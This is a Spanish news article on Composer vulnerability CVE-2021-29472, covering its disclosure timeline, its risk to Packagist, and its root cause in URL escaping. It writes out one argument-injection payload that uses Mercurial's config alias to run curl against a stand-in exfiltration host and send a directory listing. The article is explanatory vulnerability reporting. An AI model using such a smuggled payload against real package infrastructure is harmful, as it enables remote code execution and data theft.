Una vulnerabilidad en el gestor de paquetes Composer que permite comprometer el repositorio de PHP Packagist

Se ha identificado una vulnerabilidad crítica en el gestor de dependencias Composer (CVE-2021-29472), que permite la ejecución de comandos arbitrarios en el sistema al procesar un paquete con un valor de URL diseñado específicamente que determina la dirección para la descarga de los códigos fuente. El problema se manifiesta en los componentes GitDriver, SvnDriver y HgDriver utilizados al trabajar con sistemas de control de versiones Git, Subversion y Mercurial. La vulnerabilidad ha sido corregida en las versiones Composer 1.10.22 y 2.0.13.

Es importante destacar que el problema afectó principalmente al repositorio de paquetes Packagist, que se utiliza por defecto en Composer, el cual cuenta con 306 mil paquetes para desarrolladores en PHP y gestiona más de 1.4 mil millones de descargas mensuales. En un experimento se demostró que, con información sobre el problema, los atacantes podrían haber obtenido control sobre la infraestructura de Packagist y haber interceptado las credenciales de los mantenedores o redirigir la descarga de paquetes a un servidor externo, organizando la entrega de versiones de paquetes con modificaciones maliciosas para insertar un backdoor durante la instalación de las dependencias.

El riesgo para los usuarios finales está limitado ya que el contenido de composer.json es generalmente definido por el propio usuario, y los enlaces a los códigos fuente se transmiten al acceder a repositorios externos, que normalmente son de confianza. El impacto principal recaía en el repositorio Packagist.org y el servicio Private Packagist, que invocan Composer pasando los datos obtenidos de los usuarios. Los atacantes podrían haber ejecutado su código en los servidores de Packagist al alojar un paquete diseñado específicamente.

El equipo de Packagist corrigió la vulnerabilidad en un plazo de 12 horas después de recibir el aviso. Los investigadores notificaron de forma privada a los desarrolladores de Packagist el 22 de abril, y el mismo día se solucionó el problema. La actualización pública de Composer con la corrección de la vulnerabilidad fue publicada el 27 de abril, y los detalles se revelaron el 28 de abril. La auditoría de los registros en los servidores de Packagist no reveló actividad sospechosa relacionada con la vulnerabilidad.

El problema fue causado por un error en el código de validación de URL en el archivo raíz composer.json y en los enlaces para descargar los textos fuente. El error ha estado presente en el código desde noviembre de 2011. En Packagist, se utilizan capas especiales para organizar la carga de código sin estar atadas a un sistema específico de gestión de textos fuente, que se ejecutan mediante una llamada a "fromShellCommandline" con argumentos de línea de comandos. Por ejemplo, para git se llama al comando "git ls-remote —heads $URL", donde el URL es procesado mediante el método "ProcessExecutor::escape($url)", que escapa estructuras potencialmente peligrosas, como "$(…)" o "`…`".

La esencia del problema es que el método ProcessExecutor::escape no escapó la secuencia "—", lo que permitía especificar cualquier parámetro adicional en el URL. Este tipo de escapado faltaba en los controladores GitDriver.php, SvnDriver.php y HgDriver.php. La ataque a través de GitDriver.php estaba limitada por el hecho de que el comando "git ls-remote" no soportaba la especificación de argumentos adicionales después de la ruta. Sin embargo, era posible un ataque a HgDriver.php mediante la transmisión del parámetro "—config" a la utilidad "hq", que permite ejecutar cualquier comando manipulando la configuración "alias.identify". Por ejemplo, para descargar y ejecutar código mediante la utilidad curl se podía especificar: —config=alias.identify=!curl http://exfiltration-host.tld —data "$(ls -alh)".

Al publicar un paquete de prueba en Packagist con un URL similar, los investigadores confirmaron que después de la publicación en su servidor se recibió una solicitud HTTP de uno de los servidores Packagist en AWS, que contenía un listado de archivos en el directorio actual.

Fuente: opennet.ru

Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS 🔥 Compra un hosting fiable para sitios web con protección contra DDoS, servidores VPS VDS | ProHoster